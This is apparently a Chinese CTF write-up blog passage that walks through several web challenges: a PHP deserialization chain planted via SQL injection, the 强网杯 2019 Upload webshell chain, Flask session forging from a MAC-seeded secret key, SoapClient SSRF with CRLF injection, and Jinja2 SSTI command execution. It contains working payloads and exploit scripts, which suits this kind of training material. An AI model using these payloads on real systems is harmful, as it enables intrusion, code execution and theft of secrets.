            // 如果不在允许的扩展名数组中,输出错误信息并终止脚本
            die("<p>Please upload the correct image file!!!</p>");
        }
        // 从文件名中去除扩展名,得到文件标题
        $title = str_replace(".".$ext,'',$filename);
        // 返回一个包含文件标题、文件名、扩展名和存储路径的数组
        return array('title'=>$title,'filename'=>$basename.".".$ext,'ext'=>$ext,'path'=>$this->folder.$basename.".".$ext);
    }
 
    // 定义一个公共方法 save,用于将文件信息保存到数据库
    public function save($data)
    {
        // 检查 $data 是否为空或不是数组
        if(!$data || !is_array($data)){
            // 如果条件满足,输出错误信息并终止脚本
            die("Something wrong!");
        }
        // 调用 insert_array 方法将文件信息插入数据库,并获取插入记录的 ID
        $id = $this->insert_array($data);
        // 返回插入记录的 ID
        return $id;
    }
 
    // 定义一个公共方法 insert_array,用于将数组数据插入数据库
    public function insert_array($data)
    {
        // 连接到本地 MySQL 数据库,使用用户名 "r00t"、密码 "r00t" 和数据库名 "pic_base"
        $con = mysqli_connect("127.0.0.1","r00t","r00t","pic_base");
        // 检查数据库连接是否失败
        if (mysqli_connect_errno($con))
        {
            // 如果连接失败,输出错误信息并终止脚本
            die("Connect MySQL Fail:".mysqli_connect_error());
        }
        // 初始化一个空数组 $sql_fields,用于存储 SQL 语句中的字段名
        $sql_fields = array();
        // 初始化一个空数组 $sql_val,用于存储 SQL 语句中的字段值
        $sql_val = array();
        // 遍历 $data 数组,将字段名和字段值分别存储到 $sql_fields 和 $sql_val 数组中
        foreach($data as $key=>$value){
            // 对字段名中的特殊字符进行替换
            $key_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $key);
            // 对字段值中的特殊字符进行替换
            $value_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $value);
            // 将处理后的字段名添加到 $sql_fields 数组中,并添加反引号
            $sql_fields[] = "`".$key_temp."`";
            // 将处理后的字段值添加到 $sql_val 数组中,并添加单引号
            $sql_val[] = "'".$value_temp."'";
        }
        // 构建 SQL 插入语句,将字段名和字段值分别用逗号连接
        $sql = "INSERT INTO images (".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")";
        // 执行 SQL 插入语句
        mysqli_query($con, $sql);
        // 获取插入记录的 ID
        $id = mysqli_insert_id($con);
        // 关闭数据库连接
        mysqli_close($con);
        // 返回插入记录的 ID
        return $id;
    }
 
    // 定义一个公共方法 view_files,用于查看文件内容
    public function view_files($path){
        // 检查 $ifview 属性是否为 False
        if ($this->ifview == False){
            // 如果为 False,返回 False,表示文件查看功能不可用
            return False;
            // 注释说明该功能还不完善,尚未开放
        }
        // 使用 file_get_contents 函数读取文件内容
        $content = file_get_contents($path);
        // 输出文件内容
        echo $content;
    }
 
    // 定义析构函数,当对象被销毁时自动调用
    function __destruct(){
        # 读取一些配置文件的内容
        // 调用 view_files 方法读取配置文件内容
        $this->view_files($this->config);
    }
}
 
?>

https://i-blog.csdnimg.cn/img_convert/eb8b7ffb673e3cd03432163485fabb8f.png

这里有一个file_ge_contents函数,在_destruct中调用

https://i-blog.csdnimg.cn/img_convert/7ad2788cb8004e56b65b5eab12bc876e.png

这里的ifview要为true

https://i-blog.csdnimg.cn/img_convert/c0e009e012ad286b7f735fec74144c16.png

参数是这个

https://i-blog.csdnimg.cn/img_convert/1cc29141548051628862e3ef7cfd5fa3.png

反序列化:

<?php
class helper {
    protected $ifview = True; 
    protected $config = "/flag";
}
$a = new helper();
echo serialize($a);
?>

O:6:"helper":2:{s:9:"*ifview";b:1;s:9:"*config";s:5:"/flag";}

然后ifview和config因为是protect,用\0\0\0来绕:

O:6:"helper":2:{s:9:"\0\0\0ifview";b:1;s:9:"\0\0\0config";s:5:"/flag";}

sql语句:

$sql = "INSERT INTO images (".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")

https://i-blog.csdnimg.cn/img_convert/bda274a2f085e720e160bf8051011c2d.png

然后这里attr可以序列化,然后因为文件名不能有’’,就先16进制编码:

https://i-blog.csdnimg.cn/img_convert/c681822dc0f74c6b53d43cbb2286a4fd.png

4F3A363A2268656C706572223A323A7B733A393A225C305C305C30696676696577223B623A313B733A393A225C305C305C30636F6E666967223B733A353A222F666C6167223B7D

然后就构造

INSERT INTO images (title,filename,ext,path,attr) VALUES()他是这样一种形式,然后我们要

让反序列化的在attr位置上,因为我们可以改变文件名控制title,所以直接截断

filename=1’,‘1’,‘1’,‘1’,0x4f3a363a2268656c706572223a323a7b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d),(‘1.jpg

INSERT INTO images (title,filename,ext,path,attr) VALUES(‘1’,‘1’,‘1’,‘1’,0x4f3a363a2268656c706572223a323a7b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d),(‘1.jpg’,‘源filename’,‘源ext’,‘源path’,‘源attr’)

https://i-blog.csdnimg.cn/img_convert/278e5d11e16d9c382b3dd6b6b5cf25c8.png

https://i-blog.csdnimg.cn/img_convert/6ac71615bb4f3c786ffac3ecffa52830.png

[强网杯 2019]Upload

https://i-blog.csdnimg.cn/img_convert/0cd47df5d5ffb348ff32bfe86282db98.png

扫描发现www.tar.gz

login.php

<?php
namespace app\web\controller;
use think\Controller;

class Login extends Controller
{
    public $checker;

    public function __construct()
    {
        $this->checker=new Index();
    }

    public function login(){
        if($this->checker){
            if($this->checker->login_check()){
                $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home";
                $this->redirect($curr_url,302);
                exit();
            }
        }
        if(input("?post.email") && input("?post.password")){
            $email=input("post.email","","addslashes");
            $password=input("post.password","","addslashes");
            $user_info=db("user")->where("email",$email)->find();
            if($user_info) {
                if (md5($password) === $user_info['password']) {
                    $cookie_data=base64_encode(serialize($user_info));
                    cookie("user",$cookie_data,3600);
                    $this->success('Login successful!', url('../home'));
                } else {
                    $this->error('Login failed!', url('../index'));
                }
            }else{
                $this->error('email not registed!',url('../index'));
            }
        }else{
            $this->error('email or password is null!',url('../index'));
        }
    }


}

https://i-blog.csdnimg.cn/img_convert/afe3dc9f1f67999fb13afd38dae4c1c8.png

这里有个序列化

register.php

<?php
namespace app\web\controller;
use think\Controller;

class Register extends Controller
{
    public $checker;
    public $registed;

    public function __construct()
    {
        $this->checker=new Index();
    }

    public function register()
    {
        if ($this->checker) {
            if($this->checker->login_check()){
                $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home";
                $this->redirect($curr_url,302);
                exit();
            }
        }
        if (!empty(input("post.username")) && !empty(input("post.email")) && !empty(input("post.password"))) {
            $email = input("post.email", "", "addslashes");
            $password = input("post.password", "", "addslashes");
            $username = input("post.username", "", "addslashes");
            if($this->check_email($email)) {
                if (empty(db("user")->where("username", $username)->find()) && empty(db("user")->where("email", $email)->find())) {
                    $user_info = ["email" => $email, "password" => md5($password), "username" => $username];
                    if (db("user")->insert($user_info)) {
                        $this->registed = 1;
                        $this->success('Registed successful!', url('../index'));
                    } else {
                        $this->error('Registed failed!', url('../index'));
                    }
                } else {
                    $this->error('Account already exists!', url('../index'));
                }
            }else{
                $this->error('Email illegal!', url('../index'));
            }
        } else {
            $this->error('Something empty!', url('../index'));
        }
    }

    public function check_email($email){
        $pattern = "/^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,})$/";
        preg_match($pattern, $email, $matches);
        if(empty($matches)){
            return 0;
        }else{
            return 1;
        }
    }

    public function __destruct()
    {
        if(!$this->registed){
            $this->checker->index();
        }
    }


}

有__destruct()方法,入点就是这个了

checker->index(),这个怎么利用呢?

profile

<?php
namespace app\web\controller;

use think\Controller;

class Profile extends Controller
{
    public $checker;
    public $filename_tmp;
    public $filename;
    public $upload_menu;
    public $ext;
    public $img;
    public $except;

    public function __construct()
    {
        $this->checker=new Index();
        $this->upload_menu=md5($_SERVER['REMOTE_ADDR']);
        @chdir("../public/upload");
        if(!is_dir($this->upload_menu)){
            @mkdir($this->upload_menu);
        }
        @chdir($this->upload_menu);
    }

    public function upload_img(){
        if($this->checker){
            if(!$this->checker->login_check()){
                $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
                $this->redirect($curr_url,302);
                exit();
            }
        }

        if(!empty($_FILES)){
            $this->filename_tmp=$_FILES['upload_file']['tmp_name'];
            $this->filename=md5($_FILES['upload_file']['name']).".png";
            $this->ext_check();
        }
        if($this->ext) {
            if(getimagesize($this->filename_tmp)) {
                @copy($this->filename_tmp, $this->filename);
                @unlink($this->filename_tmp);
                $this->img="../upload/$this->upload_menu/$this->filename";
                $this->update_img();
            }else{
                $this->error('Forbidden type!', url('../index'));
            }
        }else{
            $this->error('Unknow file type!', url('../index'));
        }
    }

    public function update_img(){
        $user_info=db('user')->where("ID",$this->checker->profile['ID'])->find();
        if(empty($user_info['img']) && $this->img){
            if(db('user')->where('ID',$user_info['ID'])->data(["img"=>addslashes($this->img)])->update()){
                $this->update_cookie();
                $this->success('Upload img successful!', url('../home'));
            }else{
                $this->error('Upload file failed!', url('../index'));
            }
        }
    }

    public function update_cookie(){
        $this->checker->profile['img']=$this->img;
        cookie("user",base64_encode(serialize($this->checker->profile)),3600);
    }

    public function ext_check(){
        $ext_arr=explode(".",$this->filename);
        $this->ext=end($ext_arr);
        if($this->ext=="png"){
            return 1;
        }else{
            return 0;
        }
    }

    public function __get($name)
    {
        return $this->except[$name];
    }

    public function __call($name, $arguments)
    {
        if($this->{$name}){
            $this->{$this->{$name}}($arguments);
        }
    }

}

https://i-blog.csdnimg.cn/img_convert/6dccf5da6ba0b1bac920c4fb132237b3.png

看到_call方法,所以checker=new Profile就可以调用_call()(没有index()这个方法)

但是$name没有这个属性,所以又会触发_get()

expect参数可控,我们将Profile的成员变量except赋值为以index为数组键,upload_img()为键值的数组

$except=['index'=>'upload_img']

接着看到这里:

https://i-blog.csdnimg.cn/img_convert/2d8c134a57c887f10e35e7bfbdcde0d6.png

这里就是会把filename_tmp的内容复制到filename,那我们就可以先filename_temp写木马,然后filename改成php后缀

抓包查看:

传马:

https://i-blog.csdnimg.cn/img_convert/7ab363091122ad8674d68b5ebfbd60e9.png

看路径:

https://i-blog.csdnimg.cn/img_convert/2c9afe20968f2c66375c0670d0708f19.png

/upload/e0cd7c28b74327b3bd1472378bdfbfa2/f3ccdd27d2000e3f9255a7e3e2c48800.png

<?php
namespace app\web\controller;
class Profile
{
    public $checker=0;
    public $filename_tmp="../upload/e0cd7c28b74327b3bd1472378bdfbfa2/f3ccdd27d2000e3f9255a7e3e2c48800.png";
    public $filename="../upload/1.php";
    public $ext=1;
    public $except=array('index'=>'upload_img');

}
class Register
{
    public $checker;
    public $registed=0;
}

$a=new Register();
$a->checker=new Profile();
echo base64_encode(serialize($a));

TzoyNzoiYXBwXHdlYlxjb250cm9sbGVyXFJlZ2lzdGVyIjoyOntzOjc6ImNoZWNrZXIiO086MjY6ImFwcFx3ZWJcY29udHJvbGxlclxQcm9maWxlIjo1OntzOjc6ImNoZWNrZXIiO2k6MDtzOjEyOiJmaWxlbmFtZV90bXAiO3M6Nzk6Ii4uL3VwbG9hZC9lMGNkN2MyOGI3NDMyN2IzYmQxNDcyMzc4YmRmYmZhMi9mM2NjZGQyN2QyMDAwZTNmOTI1NWE3ZTNlMmM0ODgwMC5wbmciO3M6ODoiZmlsZW5hbWUiO3M6MTU6Ii4uL3VwbG9hZC8xLnBocCI7czozOiJleHQiO2k6MTtzOjY6ImV4Y2VwdCI7YToxOntzOjU6ImluZGV4IjtzOjEwOiJ1cGxvYWRfaW1nIjt9fXM6ODoicmVnaXN0ZWQiO2k6MDt9 然后我看其他师傅说该cookie直接访问,但是我试了很多次直接显示file no found 搞不懂

[CISCN2019 华东南赛区]Web4

flask-session加密/伪随机数

https://i-blog.csdnimg.cn/img_convert/11427230ab198a23dab2ea22afe4ad4b.png

read?url=/etc/passwd

https://i-blog.csdnimg.cn/img_convert/62bf8bdd051abc3356f0b8009dee136d.png

测试:read?url=file:///etc/passwd,没东西

/read?url=local_file:///etc/passwd 可以,所以这题就是python后端flask

/read?url=local_file:///app/app.py看源码:

import re, random, uuid, urllib
from flask import Flask, session, request

app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random() * 233)
app.debug = True


@app.route('/')
def index():
    session['username'] = 'www-data'
    return 'Hello World! Read somethings'


@app.route('/read')
def read():
    try:
        url = request.args.get('url')
        m = re.findall('^file.*', url, re.IGNORECASE)
        n = re.findall('flag', url, re.IGNORECASE)
        if m or n:
            return 'No Hack'
        res = urllib.urlopen(url)
        return res.read()
    except Exception as ex:
        print(str(ex))
        return 'no response'


@app.route('/flag')
def flag():
    if session and session['username'] == 'fuck':
        return open('/flag.txt').read()
    else:
        return 'Access denied'


if __name__ == '__main__':
    app.run(debug=True, host="0.0.0.0")

这里:

https://i-blog.csdnimg.cn/img_convert/24d991556c08fd6b17ad591c88c80e56.png

https://i-blog.csdnimg.cn/img_convert/e2ac530664b99f81c563545079bc6382.png

这个一眼jwt

https://i-blog.csdnimg.cn/img_convert/35f8439793c4285d2367c44033e3e9fd.png

https://i-blog.csdnimg.cn/img_convert/514585c1375728150406e82c13d66c8a.png

然后

random.seed(uuid.getnode())

app.config['SECRET_KEY'] = str(random.random() * 233)

这里使用了伪随机数,也就是当seed确定时,接下来的随机数都是可预测的。
seed使用了uuid.getnode()函数的值,该函数用于获取Mac地址并将其转换为整数

/read?url=local_file:///sys/class/net/eth0/address

读取mac地址: ea:62:fb:6a:25:c7

import random
random.seed(0xea62fb6a25c7)
print(str(random.random()*233))

然后这里是说出题的时候是用python2跑的,2和3小数点后面保留位数不一样

102.787116078 06235

脚本:

#!/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'

# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
    raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    from abc import ABCMeta, abstractmethod
else: # > 3.4
    from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface

class MockApp(object):

    def __init__(self, secret_key):
        self.secret_key = secret_key


if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    class FSCM(metaclass=ABCMeta):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e
else: # > 3.4
    class FSCM(ABC):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e


if __name__ == "__main__":
    # Args are only relevant for __main__ usage
    
    ## Description for help
    parser = argparse.ArgumentParser(
                description='Flask Session Cookie Decoder/Encoder',
                epilog="Author : Wilson Sumanang, Alexandre ZANNI")

    ## prepare sub commands
    subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')

    ## create the parser for the encode command
    parser_encode = subparsers.add_parser('encode', help='encode')
    parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=True)
    parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
                                help='Session cookie structure', required=True)

    ## create the parser for the decode command
    parser_decode = subparsers.add_parser('decode', help='decode')
    parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=False)
    parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
                                help='Session cookie value', required=True)

    ## get args
    args = parser.parse_args()

    ## find the option chosen
    if(args.subcommand == 'encode'):
        if(args.secret_key is not None and args.cookie_structure is not None):
            print(FSCM.encode(args.secret_key, args.cookie_structure))
    elif(args.subcommand == 'decode'):
        if(args.secret_key is not None and args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value,args.secret_key))
        elif(args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value))

python flask_session.py encode -s ‘102.787116078’ -t “{‘username’:b’fuck’}”

https://i-blog.csdnimg.cn/img_convert/c295f93c8989d418dec1c78e41f370e4.png

https://i-blog.csdnimg.cn/img_convert/1212b3ef06c1178440307ff386382b04.png

注:flask-unsign 我试了好几次,我自己搞不出来

[GXYCTF2019]BabysqliV3.0

用户名填其他的都显示no user,admin的话显示pass wrong。因该就是要搞出来密码

然后看了一圈没发现啥特别有用的提示,怀疑是弱密码

ok admin是账户 密码是password

进入:

https://i-blog.csdnimg.cn/img_convert/3fb06703cd92e13edcba5e282bee7c83.png

file=php://filter/convert.base64-encode/resource=home

home.php

<?php
session_start();
echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /> <title>Home</title>";
error_reporting(0);
if(isset($_SESSION['user'])){
    if(isset($_GET['file'])){
        if(preg_match("/.?f.?l.?a.?g.?/i", $_GET['file'])){
            die("hacker!");
        }
        else{
            if(preg_match("/home$/i", $_GET['file']) or preg_match("/upload$/i", $_GET['file'])){
                $file = $_GET['file'].".php";
            }
            else{
                $file = $_GET['file'].".fxxkyou!";
            }
            echo "当前引用的是 ".$file;
            require $file;
        }
        
    }
    else{
        die("no permission!");
    }
}
?>

upload.php

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 

<form action="" method="post" enctype="multipart/form-data">
    上传文件
    <input type="file" name="file" />
    <input type="submit" name="submit" value="上传" />
</form>

<?php
error_reporting(0);
class Uploader{
    public $Filename;
    public $cmd;
    public $token;
    

    function __construct(){
        $sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
        $ext = ".txt";
        @mkdir($sandbox, 0777, true);
        if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
            $this->Filename = $_GET['name'];
        }
        else{
            $this->Filename = $sandbox.$_SESSION['user'].$ext;
        }

        $this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";
        $this->token = $_SESSION['user'];
    }

    function upload($file){
        global $sandbox;
        global $ext;

        if(preg_match("[^a-z0-9]", $this->Filename)){
            $this->cmd = "die('illegal filename!');";
        }
        else{
            if($file['size'] > 1024){
                $this->cmd = "die('you are too big (′▽`〃)');";
            }
            else{
                $this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";
            }
        }
    }

    function __toString(){
        global $sandbox;
        global $ext;
        // return $sandbox.$this->Filename.$ext;
        return $this->Filename;
    }

    function __destruct(){
        if($this->token != $_SESSION['user']){
            $this->cmd = "die('check token falied!');";
        }
        eval($this->cmd);
    }
}

if(isset($_FILES['file'])) {
    $uploader = new Uploader();
    $uploader->upload($_FILES["file"]);
    if(@file_get_contents($uploader)){
        echo "下面是你上传的文件:<br>".$uploader."<br>";
        echo file_get_contents($uploader);
    }
}

?>

随便上传一个文件:

https://i-blog.csdnimg.cn/img_convert/54e53b2c3b15e135d1e9c6aba276a597.png

沙箱是这么来的:

$sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";

$this->Filename = $sandbox.$_SESSION['user'].$ext;

https://i-blog.csdnimg.cn/img_convert/aa0784b2d1ff4d10bbf2859c2a03e319.png

ok

https://i-blog.csdnimg.cn/img_convert/604f8f5330c6840b7f5925e9144e2ea8.png

但是又有个

https://i-blog.csdnimg.cn/img_convert/faa84e74ff7a122bf8ca8c0cc877fe7a.png

$uploader = new Uploader();

所以在echo $uploader的时候会直接调用_toString方法,

https://i-blog.csdnimg.cn/img_convert/884c3a1d7b82ae1872fbebbaa7ea3e17.png

那我们直接让Filename=/var/www/html/flag.php就可以file_get_contents

https://i-blog.csdnimg.cn/img_convert/238bbe21c4f59ad068ea4dce362160d5.png

bestphp’s revenge

session反序列化

https://i-blog.csdnimg.cn/img_convert/180bb5e44e7b3969201e27f099b76e85.png

https://i-blog.csdnimg.cn/img_convert/db7f3d8a8d0aee8a46f16ffb77450898.png

https://i-blog.csdnimg.cn/img_convert/ee0cb74b8b1c90cdfff5051ae29a1100.png

https://i-blog.csdnimg.cn/img_convert/85fb2a04d596f6e4d4c50e2ff1c0b838.png

然后目录扫描到flag.php

only localhost can get flag!session_start(); echo 'only localhost can get flag!'; $flag = 'LCTF{*************************}'; if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){ $_SESSION['flag'] = $flag; } only localhost can get flag!

要求有两个:本地127.0.0.1和flag=$flag

不是很会,

意思是访问者的IP地址要为127.0.0.1,如何为真则将flag的内容存储到SESSION[flag]中去,之后我们就可以通过携带正确的session去获得flag的value(vardump($_SESSION)–显示出flag的value),那么我们需要SSRF漏洞来实现.

那么我们需要SSRF那么就可以用SoapClient去实现,我们可以调用SoapClient类不存在的方法,从而调用它的_call方法,去实现对其内部定义的location地址的访问(自己访问自己).

首先我们要定义这个类并且控制其内容,之后调用一个它不存在的方法,同时注意要存在正确的session(通过CRLF漏洞实现),最后通过携带正确的session的value去获取该session所储存在服务器的key-value

脚本:

<?php
$target='http://127.0.0.1/flag.php';
$b = new SoapClient(null,array('location' => $target,
    'user_agent' => "npfs\r\nCookie:PHPSESSID=123456\r\n",
    'uri' => "http://127.0.0.1/"));

$se = serialize($b);
echo "|".urlencode($se);

但是这个脚本运行需要php.ini里的 php_soap.dll 前面的分号去掉

我ini里面没有找到这个?

只能先用其他人的payload了

|O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A31%3A%22npfs%0D%0ACookie%3APHPSESSID%3D123456%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D https://i-blog.csdnimg.cn/img_convert/fa1eefafc27034e316e14c14ba9e922b.png

然后:

通过变量覆盖,调用SoapClient类,从而触发__call 方法

传值f=extract&name=SoapClient POST:b=call_user_func. 这样 call_user_func($b,$a)就变成call_user_func(‘call_user_func’,array(‘SoapClient’,’welcome_to_the_lctf2018’)) ,即调用 SoapClient 类不存在的 welcome_to_the_lctf2018 方法,从而触发 __call 方法发起 soap 请求进行 SSRF

https://i-blog.csdnimg.cn/img_convert/4bb903985f66b79b2811bf10aeac84e6.png

最后改session:

https://i-blog.csdnimg.cn/img_convert/ab87111bf5905aac2a0e5c596d9a4d9a.png

https://i-blog.csdnimg.cn/img_convert/1ca2e08737655926300fcc128b7b3cf1.png

[pasecactf_2019]flask_ssti

pid进程/fd读取os.remove

def encode(line, key, key2):

return ‘’.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))

app.config[‘flag’] = encode(’’, ‘GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W34’, ‘xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT5’)

https://i-blog.csdnimg.cn/img_convert/0c0417d2ef3402d042fbb43bd8e9b3c5.png

flask ssti

这里 ’ . _ 被ban了,然后可以用16进制绕


__base__:\x5f\x5f\x62\x61\x73\x65\x5f\x5f

__subclasses__:\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f
{{[]["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x5f\x5f"]["\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f"]()}}

https://i-blog.csdnimg.cn/img_convert/7b04bc0756840d41c86b16948fb78e24.png

然后

{{**class**.**bases**[0].**subclasses**()[127].**init**.**globals**.["popen"]("ls").read()}}

{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()[127]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["popen"]("ls")["read"]()}}

发现没有啥flag,推测在app.py中加密了

https://i-blog.csdnimg.cn/img_convert/5378999359146318fb0f8eec53c00bd7.png

这个直接给ai跑就可以了,但是我们看到有个os.remove,也就是删除了/app/flag

{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()[127]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["popen"]("ls /proc/self/fd")["read"]()}}

https://i-blog.csdnimg.cn/img_convert/86cf60a8bd2adeb23ac51065258e762f.png

用get_data读

{{()["\x5F\x5Fclass\x5F\x5F"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[91]["get\x5Fdata"](0, "/proc/self/fd/3")}}

https://i-blog.csdnimg.cn/img_convert/8fce809e91142a2b22ecd07edbdf9a8f.png

这里我用的payload不是从flask里读的,所以/proc/self指向的不是flask,所以我们可以先看看flask的进程是哪个

先看看pid:

{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()[127]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["popen"]("ps")["read"]()}}

https://i-blog.csdnimg.cn/img_convert/9b70fca83bbd99622539dd6140d8f8c5.png

然后就可以用cat 了

{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()[127]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["popen"]("tac /proc/1/fd/3")["read"]()}}

https://i-blog.csdnimg.cn/img_convert/51cf87f89a947bf045dea04d4ff660e3.png